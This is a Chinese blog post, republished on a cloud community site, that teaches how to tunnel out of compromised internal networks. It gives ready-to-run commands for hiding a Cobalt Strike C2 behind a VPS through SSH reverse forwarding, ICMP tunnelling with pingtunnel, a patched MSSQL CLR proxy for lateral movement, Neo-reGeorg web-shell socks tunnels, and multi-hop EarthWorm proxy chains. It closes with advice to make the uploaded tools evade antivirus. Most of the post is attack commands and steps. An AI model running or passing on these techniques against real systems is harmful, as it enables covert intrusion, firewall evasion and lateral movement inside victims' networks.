前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网建立传输通道

内网建立传输通道

作者头像
Power7089
发布2020-05-26 17:13:20
1.5K0
发布2020-05-26 17:13:20
举报

cobaltstrike的隐藏--本地C2

1.本地建立C2

2.开启监听

2.1.配置vps域名访问

2.2.开启foreign与beacon监听器

4.建立隧道

4.1vps编辑sshd_config文件允许ssh转发并重启ssh服务

4.2建立本地cs与vps的隧道

代码语言:javascript
复制
 ssh -C -f -N -g -R 0.0.0.0:80:192.168.3.10:80 root@cs.first.com -p 22

5.上线测试是否隐藏c2

分析 虽然这种看似隐藏,但是通过抓包分析依然可以得到vps地址。

解决方案

通过nginx多级代理结合本地c2隐藏

参考:http://www.0-sec.org/Tools/Cobalt%20Strike/32.html

特殊情况下不出网的解决方案

在内网渗透中,存在防火墙设备,限制流量出口,比如不循序socks5 访问,只能http单向访问,只能icmp,dns,mssql等访问。

1.通过icmp上线--pingtunnel

比如拿下一台机器,但不允许其他其他协议,只允许icmp。用于突破网络封锁 ,则可通过pingtunnel将 tcp/udp/socks5的流量封装成icmp,再发给vps,vps解包成正常流量发给cs的监听器。

pingtunnel

https://github.com/esrrhs/pingtunnel

开启服务端

关闭系统默认ping

代码语言:javascript
复制
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

开启服务

代码语言:javascript
复制
./pingtunnel -type server

客户端转发

代码语言:javascript
复制
#转发tcp
pingtunnel.exe -type client -l 192.168.3.68:12345 -s 192.168.3.10  -t 192.168.3.10:80 -tcp 1

#转发sock5
pingtunnel.exe -type client -l :4455 -s 192.168.3.10 -sock5 1

#转发udp
pingtunnel.exe -type client -l :4455 -s 192.168.3.10 -t192.168.3.10:455

2.mssql突破 DMZ --mssqlproxy

场景:拿到mssql,存在内网,通过mssql 服务作为跳板。对内网进行信息搜集与横向移动。

渗透测试中经常利用数据库连接突破 DMZ,看到有分享利用 MSSQL 搭建代理突破 DMZ 访问不出网的应用资产,但是作者貌似没有成功,原因在于项目没有考虑低版本,作者使用的mssql2012,下文将修复此bug。

具体原理可参考复现作者和源项目

https://github.com/blackarrowsec/mssqlproxy

https://mp.weixin.qq.com/s/Yh2x1QFclMzvRCoNobdaAA

Client上传core dll 通过 CLR 加载core dll

2.1.编译core

2.2.编译CLR并将3个文件上传到攻击机

2.3.将core 上传到目标机器

2.4.安装CLR

2.5.通过CLR运行内核

出现了问题 不能建立链接

2.5.1 解决BUG

通过阅读代码,放在目标机器上分析其存储过程,当一下语句在sql中执行的时候会报错。

TRIM在高版本数据库中是去掉两边的空白,但在mssql20114中不存在,为此采用想去掉左边空白,再去掉右边空白,代码如下。

代码语言:javascript
复制
mssql.batch("DECLARE @ip varchar(15); SET @ip=RTRIM(LTRIM(CONVERT(char(15),
CONNECTIONPROPERTY('client_net_address'))));"
"EXEC msdb.dbo.%s '%s', @ip, %d" % (PROCEDURE_NAME,
args.reciclador, lport), tuplemode=False, wait=False)

修改后 通过测试

2.6 利用proxychains4代理横向移动

3.允许单向http流量时候代理--Neo-reGeorg

https://github.com/L-codes/Neo-reGeorg

3.1生成并上传WEB服务器

代码语言:javascript
复制
python neoreg.py generate -k 123456

    [+] Create neoreg server files:
       => neoreg_server/tunnel.nosocket.php
       => neoreg_server/tunnel.js
       => neoreg_server/tunnel.php
       => neoreg_server/tunnel.ashx
       => neoreg_server/tunnel.aspx
       => neoreg_server/tunnel.tomcat.5.jsp
       => neoreg_server/tunnel.tomcat.5.jspx
       => neoreg_server/tunnel.jsp
       => neoreg_server/tunnel.jspx

3.2 neoreg.py 连接WEB服务器 , 建立 socks5

代码语言:javascript
复制
python3 neoreg.py -k 123456 -u http://192.168.3.12/tunnel.php
+------------------------------------------------------------------------+
Log Level set to [ERROR]
Starting socks server [127.0.0.1:1080], tunnel at [http://k/tunnel.php]

3.3 使用peoxychains/proxfiter链接socks即可

ew多级内网穿透

EW

ew六种模式

1.ssocksd--正向代理

2.rcsocks--流量转发

3.rssocks--socks5反弹

4.lcx_slave--端口绑定

5.lcx_listen--流量转发

6.lcx_tran--端口转发

场景:

VPS:119.2.214.6

一层网络主机A公网IP:119.23.214.3,192.168.1.11

二层主机B IP:192.168.1.10,192.168.2.11

三层主机C IP:192.168.2.10,192.168.3.1910

核心层D IP:192.168.3.18

场景一:A有公网IP

A:ew -s ssocksd -l 888

外网通过代理到119.23.214.3:888 端口即可

场景二:B没有公网IP--请求转发+socks反弹

代码语言:javascript
复制
VPS:ew -s rcsocks -l 1080 -e 888
A:ew -s rssocks -d 192.168.214.146 -e 888

外网通过代理到119.23.214.146:1080 访问1080就可将代理请求转发到 A主机

场景三:存在AB二层网络 ,A有公网IP--B层正向+A端口转发

代码语言:javascript
复制
B:ew -s socksd -l 888
A:ew -e lcx_tran -l 1080 -f 192.168.1.10 -g 888

B 开启正向代理,A开启端口转发,将A的1080端口收到的代理转发给B的888端口,则访问192.168.1.10:1080就可访问B层主机

场景四:二层网络,A无外网IP--vps流量转发+B正向代理+A作为跳板端口绑定

代码语言:javascript
复制
VPS:ew -s lcx_listen -l 1080 -e 888
B:ew -s sscoksd -l 999
A:ew -s lcx_slave -d 119.23.214.6 -e 888 -f 192.168.2.10 -g 999

VPS将1080的代理请求转发到888, 二层网络B正向监听999,A作为跳板,将VPS888端口与B的999端口绑定,当访问192.168.214.146时,则访问的B的999

场景五:三层网络,B能与C通信,A有公网IP

代码语言:javascript
复制
A:ew -s lcx_listen -l 1080 -e 888
C:ew -s ssocksd -l 999
B:ew -s lcx_salve -d 119.23.214.3 -e 888 -f 192.168.2.10 -g 999

场景六:三层,无公网ip

代码语言:javascript
复制
VPS:ew -s rcsocks -l 1080 -e 888
A:ew -s lcx_slave -d 119.23.214.6 -e 888 -f 192.168.2.10 -g 999
B:ew -s lcx_listen -l 999 -e 777
C:ew -s rssocks -d 192.168.2.11 -e 777

建立隧道的方式多种多样,根据具体情况分析,内网环境下允许什么什么出网,就用此构建隧道。同时注意如果存在AV,上传的工具是否免杀。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
弹性公网 IP
弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档